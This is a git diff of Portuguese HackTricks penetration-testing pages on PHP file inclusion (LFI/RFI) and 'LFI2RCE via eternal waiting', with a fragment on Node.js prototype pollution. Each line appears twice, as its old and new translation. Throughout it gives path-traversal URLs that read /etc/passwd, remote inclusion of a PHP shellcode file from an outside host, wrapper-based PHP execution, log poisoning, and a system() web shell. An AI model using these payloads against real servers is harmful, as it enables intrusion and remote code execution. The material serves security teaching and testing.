Pelo menos a partir da v18.4.0 essa proteção foi **implementada**, e portanto os **exploits** de `spawn` e `spawnSync` afetando os métodos **não funcionam mais** (se nenhuma `options` for usada!).
No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), a poluição de protótipos de **`contextExtensions`** da biblioteca vm também foi **corrigida** definindo as opções como \*\*`kEmptyObject` \*\* em vez de **`{}`.**
No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) a **poluição de protótipo** de **`contextExtensions`** da biblioteca vm foi **também meio que corrigida** definindo options para **`kEmptyObject`** em vez de **`{}`.**
### **Outros Gadgets**
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
## Referências
@ -711,12 +714,14 @@ No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

88
pentesting-web/file-inclusion/README.md
View file

@ -2,37 +2,39 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
**Insights de Hacking**\
**Percepções de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
**Últimos Anúncios**\
Fique informado sobre os lançamentos de novas recompensas por bugs e atualizações importantes da plataforma
Fique informado com os mais novos programas de recompensas por bugs e atualizações importantes da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
## Inclusão de Arquivos
**Inclusão Remota de Arquivos (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso é **desativado** por padrão (**allow\_url\_include**).\
**Inclusão Remota de Arquivos (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php, isso é **desativado** por padrão (**allow\_url\_include**).\
**Inclusão Local de Arquivos (LFI):** O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que vai ser carregado pelo servidor.
**Funções PHP vulneráveis**: require, require\_once, include, include\_once
@ -70,11 +72,11 @@ Verifique a lista LFI de linux.
## LFI básico e bypasses
Todos os exemplos são para Inclusão Local de Arquivos, mas também podem ser aplicados a Inclusão Remota de Arquivos (página=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
Todos os exemplos são para Inclusão de Arquivo Local, mas também podem ser aplicados a Inclusão de Arquivo Remoto (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### sequências de travessia removidas de forma não-recursiva
### sequências de travessia removidas não-recursivamente
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -82,11 +84,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Byte Nulo (%00)**
Bypass para não acrescentar mais caracteres ao final da string fornecida (bypass de: $\_GET\['param']."php")
Burlar o acréscimo de mais caracteres no final da string fornecida (burla de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Esta é uma **solução desde o PHP 5.4**
Este problema foi **resolvido desde o PHP 5.4**
### **Codificação**
@ -107,7 +109,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Dependendo do código aplicativo / caracteres permitidos, pode ser possível explorar recursivamente o sistema de arquivos descobrindo pastas e não apenas arquivos. Para fazer isso:
* identifique a "profundidade" do seu diretório atual obtendo com sucesso `/etc/passwd` (se estiver em Linux):
* identifique a "profundidade" do seu diretório atual ao recuperar com sucesso `/etc/passwd` (se estiver em Linux):
```
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -117,10 +119,10 @@ http://example.com/index.php?page=private/../../../../etc/passwd # we went deepe
```
* se a aplicação for vulnerável, podem ocorrer dois resultados diferentes para a solicitação:
* se você receber um erro / nenhum resultado, a pasta `private` não existe neste local
* se você receber o conteúdo de `/etc/passwd`, você validou que realmente existe uma pasta `private` no seu diretório atual
* as pasta(s) que você descobriu usando esta técnica podem então ser exploradas para arquivos (usando um método clássico de LFI) ou para subdiretórios usando a mesma técnica recursivamente.
* se você receber o conteúdo de `/etc/passwd`, você validou que de fato existe uma pasta `private` no seu diretório atual
* as pasta(s) que você descobriu usando esta técnica podem então ser exploradas para arquivos (usando um método clássico de LFI) ou para subdiretórios usando a mesma técnica de forma recursiva.
É possível adaptar esta técnica para encontrar diretórios em qualquer local no sistema de arquivos. Por exemplo, se, sob a mesma hipótese (diretório atual no nível 3 do sistema de arquivos) você quiser verificar se `/var/www/` contém um diretório `private`, use o seguinte payload:
É possível adaptar esta técnica para encontrar diretórios em qualquer local no sistema de arquivos. Por exemplo, se, sob a mesma hipótese (diretório atual no nível 3 do sistema de arquivos), você quiser verificar se `/var/www/` contém um diretório `private`, use o seguinte payload:
```
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -164,7 +166,7 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Inclusão Remota de Arquivos
## Inclusão Remota de Arquivo
Em php isso é desativado por padrão porque **`allow_url_include`** está **Off.** Ele deve estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
```python
@ -180,7 +182,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %}
{% hint style="info" %}
No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, assim a string termina com isso e após o b64 decode essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após o b64 decode essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
{% endhint %}
Outro exemplo **não utilizando o protocolo `php://`** seria:
@ -207,7 +209,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
## Java Listar Diretórios
Parece que se você tem um Path Traversal em Java e você **solicita um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (até onde eu sei).
Parece que se você tiver um Path Traversal em Java e **solicitar um diretório** em vez de um arquivo, **uma listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (até onde eu sei).
## Top 25 parâmetros
@ -269,9 +271,9 @@ Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbi
* `mcrypt.*` : Obsoleto
* `mdecrypt.*` : Obsoleto
* Outros Filtros
* Executando no PHP `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
* Executando no PHP `var_dump(stream_get_filters());`, você pode encontrar alguns **filtros inesperados**:
* `consumed`
* `dechunk`: reverte a codificação de fragmentação HTTP
* `dechunk`: reverte a codificação de fragmentos HTTP
* `convert.*`
```php
# String Filters
@ -310,7 +312,7 @@ Este wrapper permite acessar descritores de arquivo que o processo tem aberto. P
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2**, respectivamente (não tenho certeza de como isso pode ser útil em um ataque)
Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2**, respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
### zip:// e rar://
@ -380,7 +382,7 @@ php --define phar.readonly=0 create_path.php
```
Um arquivo chamado `test.phar` será gerado, que você pode usar para abusar do LFI.
Se o LFI está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
Se o LFI está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
Para mais informações, leia o seguinte post:
{% content-ref url="phar-deserialization.md" %}
@ -429,7 +431,7 @@ Interaja com conteúdos que exploram a emoção e os desafios do hacking
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado com os lançamentos de novas recompensas por bugs e atualizações críticas da plataforma
Fique informado sobre os mais novos programas de recompensa por bugs e atualizações importantes da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
@ -465,7 +467,7 @@ Note que **se você usar aspas duplas** para o shell em vez de **aspas simples**
Além disso, certifique-se de **escrever corretamente a carga útil** ou o PHP apresentará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
{% endhint %}
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode ser codificado para URL e isso poderia destruir o Shell. O cabeçalho de **autorização "basic"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode ser codificado para URL e isso poderia destruir o Shell. O cabeçalho **autorização "basic"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
Outros possíveis caminhos de logs:
```python
/var/log/apache2/access.log
@ -498,7 +500,7 @@ User-Agent: <?=phpinfo(); ?>
```
### Via upload
Se você pode fazer upload de um arquivo, basta injetar o payload de shell nele (exemplo: `<?php system($_GET['c']); ?>`).
Se você pode fazer upload de um arquivo, basta injetar o payload do shell nele (exemplo: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
@ -564,7 +566,7 @@ Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d
### Via armazenamento temporário de arquivos do Nginx
Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
Se você encontrou uma **Local File Inclusion** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
@ -572,7 +574,7 @@ Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está rodand
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
Se você encontrou uma **Inclusão Local de Arquivo** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP **ativará a sessão para você**. Você poderia abusar disso para obter RCE:
Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP **ativará a sessão para você**. Você poderia abusar disso para conseguir RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
@ -580,7 +582,7 @@ Se você encontrou uma **Inclusão Local de Arquivo** mesmo que você **não ten
### Via uploads de arquivos temporários no Windows
Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está rodando no **Windows**, você pode conseguir RCE:
Se você encontrou uma **Local File Inclusion** e o servidor está rodando no **Windows**, você pode conseguir RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
@ -588,7 +590,7 @@ Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está rodando
### Via phpinfo() (file\_uploads = on)
Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode conseguir RCE:
Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode conseguir RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
@ -596,7 +598,7 @@ Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **php
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgação de Caminho
Se você encontrou uma **Inclusão Local de Arquivo** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com esta **Condição de Corrida**:
Se você encontrou uma **Local File Inclusion** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com esta **Condição de Corrida**:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
@ -612,7 +614,7 @@ Se você pode abusar do LFI para **enviar arquivos temporários** e fazer o serv
### Para Erro Fatal
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para provocar esse erro).
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para gerar esse erro).
**Não sei como isso pode ser útil, mas pode ser.**\
_Mesmo que você cause um Erro Fatal PHP, arquivos temporários enviados são excluídos._
@ -639,16 +641,18 @@ Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e
**Últimos Anúncios**\
Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações cruciais da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os principais hackers hoje!
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>

106
pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
View file

@ -1,93 +1,123 @@
## Informação Básica
# LFI2RCE via Espera Eterna
Por padrão, quando um arquivo é enviado para o PHP (mesmo que não seja esperado), ele irá gerar um arquivo temporário em `/tmp` com um nome como **`php[a-zA-Z0-9]{6}`**, embora eu tenha visto algumas imagens do Docker em que os arquivos gerados não contêm dígitos.
<details>
Em uma inclusão de arquivo local, **se você conseguir incluir esse arquivo enviado, obterá RCE**.
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Observe que, por padrão, **o PHP permite apenas o upload de 20 arquivos em uma única solicitação** (definido em `/etc/php/<versão>/apache2/php.ini`):
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informações Básicas
Por padrão, quando um arquivo é enviado para o PHP (mesmo que não esteja esperando), ele irá gerar um arquivo temporário em `/tmp` com um nome como **`php[a-zA-Z0-9]{6}`**, embora eu tenha visto algumas imagens docker onde os arquivos gerados não contêm dígitos.
Em uma inclusão de arquivo local, **se você conseguir incluir esse arquivo enviado, você obterá RCE**.
Note que por padrão **o PHP só permite enviar 20 arquivos em uma única requisição** (configurado em `/etc/php/<versão>/apache2/php.ini`):
```
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20
```
Também, o **número de possíveis nomes de arquivos são 62\*62\*62\*62\*62\*62 = 56800235584**
Também, o **número de nomes de arquivos potenciais é 62\*62\*62\*62\*62\*62 = 56800235584**
### Outras técnicas
Outras técnicas dependem de atacar protocolos PHP (você não será capaz se apenas controlar a última parte do caminho), revelar o caminho do arquivo, abusar de arquivos esperados, ou **fazer o PHP sofrer uma falha de segmentação para que arquivos temporários enviados não sejam excluídos**.\
Esta técnica é **muito semelhante à última, mas sem precisar encontrar uma vulnerabilidade zero day**.
Outras técnicas dependem de atacar protocolos PHP (você não será capaz se controlar apenas a última parte do caminho), revelando o caminho do arquivo, abusando de arquivos esperados, ou **fazendo o PHP sofrer uma falha de segmentação para que arquivos temporários carregados não sejam excluídos**.\
Esta técnica é **muito semelhante à última, mas sem a necessidade de encontrar um zero day**.
### Técnica de espera eterna
Nesta técnica, **só precisamos controlar um caminho relativo**. Se conseguirmos enviar arquivos e fazer com que o **LFI nunca termine**, teremos "tempo suficiente" para **forçar a força bruta dos arquivos enviados** e **encontrar** qualquer um dos arquivos enviados.
Nesta técnica **só precisamos controlar um caminho relativo**. Se conseguirmos carregar arquivos e fazer com que o **LFI nunca termine**, teremos "tempo suficiente" para **força bruta nos arquivos carregados** e **encontrar** qualquer um dos que foram carregados.
**Prós desta técnica**:
**Vantagens desta técnica**:
* Você só precisa controlar um caminho relativo dentro de um include
* Não requer nginx ou nível inesperado de acesso aos arquivos de log
* Não requer uma vulnerabilidade zero day para causar uma falha de segmentação
* Não requer uma revelação de caminho
* Não requer nginx ou nível inesperado de acesso a arquivos de log
* Não requer um 0 day para causar uma falha de segmentação
* Não requer revelação de caminho
Os **principais problemas** desta técnica são:
* Precisa de um arquivo(s) específico(s) para estar presente (pode haver mais)
* A **quantidade insana** de possíveis nomes de arquivos: **56800235584**
* Se o servidor **não estiver usando dígitos**, o total potencial é: **19770609664**
* Por padrão, **apenas 20 arquivos** podem ser enviados em uma **única solicitação**.
* Necessidade de um arquivo específico(s) estar presente (pode haver mais)
* A quantidade **insana** de nomes de arquivos potenciais: **56800235584**
* Se o servidor **não estiver usando dígitos** o total potencial é: **19770609664**
* Por padrão **apenas 20 arquivos** podem ser carregados em uma **única requisição**.
* O **número máximo de trabalhadores paralelos** do servidor usado.
* Este limite com os anteriores pode fazer com que este ataque dure muito tempo
* **Tempo limite para uma solicitação PHP**. Idealmente, isso deveria ser eterno ou deveria matar o processo PHP sem excluir os arquivos temporários enviados, caso contrário, isso também será um problema
* Este limite com os anteriores pode fazer este ataque durar demais
* **Tempo limite para uma requisição PHP**. Idealmente, isso deveria ser eterno ou deveria matar o processo PHP sem excluir os arquivos temporários carregados, se não, isso também será um problema
Então, como você pode **fazer um include PHP nunca terminar**? Apenas incluindo o arquivo **`/sys/kernel/security/apparmor/revision`** (**infelizmente não disponível em contêineres Docker**).
Então, como você pode **fazer um include PHP nunca terminar**? Apenas incluindo o arquivo **`/sys/kernel/security/apparmor/revision`** (**infelizmente não disponível em contêineres Docker**...).
Tente chamá-lo apenas com:
Tente apenas chamando:
```bash
php -a # open php cli
include("/sys/kernel/security/apparmor/revision");
```
## Apache2
Por padrão, o Apache suporta **150 conexões simultâneas**, seguindo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) é possível aumentar esse número para até 8000. Siga este tutorial para usar o PHP com esse módulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Por padrão, o Apache suporta **150 conexões simultâneas**, seguindo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) é possível aumentar esse número para até 8000. Siga isto para usar PHP com esse módulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Por padrão, (como posso ver em meus testes), um **processo PHP pode durar eternamente**.
Vamos fazer alguns cálculos:
Vamos fazer algumas contas:
* Podemos usar **149 conexões** para gerar **149 \* 20 = 2980 arquivos temporários** com nossa webshell.
* Em seguida, use a **última conexão** para **forçar** possíveis arquivos.
* Podemos usar **149 conexões** para gerar **149 \* 20 = 2980 arquivos temporários** com nosso webshell.
* Então, usar a **última conexão** para **força bruta** em arquivos potenciais.
* A uma velocidade de **10 solicitações/s** os tempos são:
* 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de chance em 265h)
* (sem dígitos) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de chance em 93h)
* 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de chance em 265h)
